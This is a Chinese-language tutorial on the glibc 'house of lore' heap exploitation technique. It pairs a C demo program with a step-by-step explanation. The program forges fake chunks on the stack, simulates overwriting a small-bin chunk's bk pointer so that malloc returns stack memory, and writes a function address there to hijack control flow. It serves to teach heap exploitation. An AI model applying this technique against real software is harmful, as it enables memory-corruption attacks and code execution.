1. #include <stdio.h>
    2. #include <stdlib.h>
    3. #include <string.h>
    4. #include <stdint.h>
    5. void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
    6. int main(int argc, char * argv[]){
    7. intptr_t* stack_buffer_1[4] = {0};
    8. intptr_t* stack_buffer_2[3] = {0};
    9. fprintf(stderr, "定义了两个数组");
    10. fprintf(stderr, "stack_buffer_1 在 %p\n", (void*)stack_buffer_1);
    11. fprintf(stderr, "stack_buffer_2 在 %p\n", (void*)stack_buffer_2);
    12. intptr_t *victim = malloc(100);
    13. fprintf(stderr, "申请第一块属于 fastbin 的 chunk 在 %p\n", victim);
    14. intptr_t *victim_chunk = victim-2;//chunk 开始的位置
    15. fprintf(stderr, "在栈上伪造一块 fake chunk\n");
    16. fprintf(stderr, "设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上\n");
    17. stack_buffer_1[0] = 0;
    18. stack_buffer_1[1] = 0;
    19. stack_buffer_1[2] = victim_chunk;
    20. fprintf(stderr, "设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针");
    21. stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
    22. stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
    23. void *p5 = malloc(1000);
    24. fprintf(stderr, "另外再分配一块,避免与 top chunk 合并 %p\n", p5);
    25. fprintf(stderr, "Free victim chunk %p, 他会被插入到 fastbin 中\n", victim);
    26. free((void*)victim);
    27. fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");
    28. fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
    29. fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
    30. fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
    31. void *p2 = malloc(1200);
    32. fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
    33. fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
    34. fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
    35. fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
    36. victim[1] = (intptr_t)stack_buffer_1;
    37. fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
    38. fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
    39. void *p3 = malloc(100);
    40. fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
    41. char *p4 = malloc(100);
    42. fprintf(stderr, "p4 = malloc(100)\n");
    43. fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);
    44. fprintf(stderr, "\np4 在栈上 %p\n", p4);
    45. intptr_t sc = (intptr_t)jackpot;
    46. memcpy((p4+40), &sc, 8);
    47. }

    intptr_t *victim = malloc(100);
    首先申请了一个在 fastbin 范围内的 victim chunk,然后再在栈上构造了一个假的 chunk

    image.png

    为了绕过检测,设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1

    image.png

    接下来先 malloc 一个防止 free 之后与 top chunk 合并,然后 free 掉 victim,这时候 victim 会被放到 fastbin 中

    image.png

    接下来再去 malloc 一个 large chunk,会触发 fastbin 的合并,然后放到 unsorted bin 中,这样我们的 victim chunk 就放到了 unsorted bin 中,然后最终被 unsorted bin 分配到 small bin 中
    参考:
    http://blog.topsec.com.cn/pwn的艺术浅谈(二):linux堆相关/
    https://bbs.pediy.com/thread-257742.htm

    再把 victim 的 bk 指针改为 stack_buffer_1

    image.png

    再次去 malloc 会 malloc 到 victim chunk,再一次 malloc 的话就 malloc 到了 0x00007fffffffdcc0

    image.png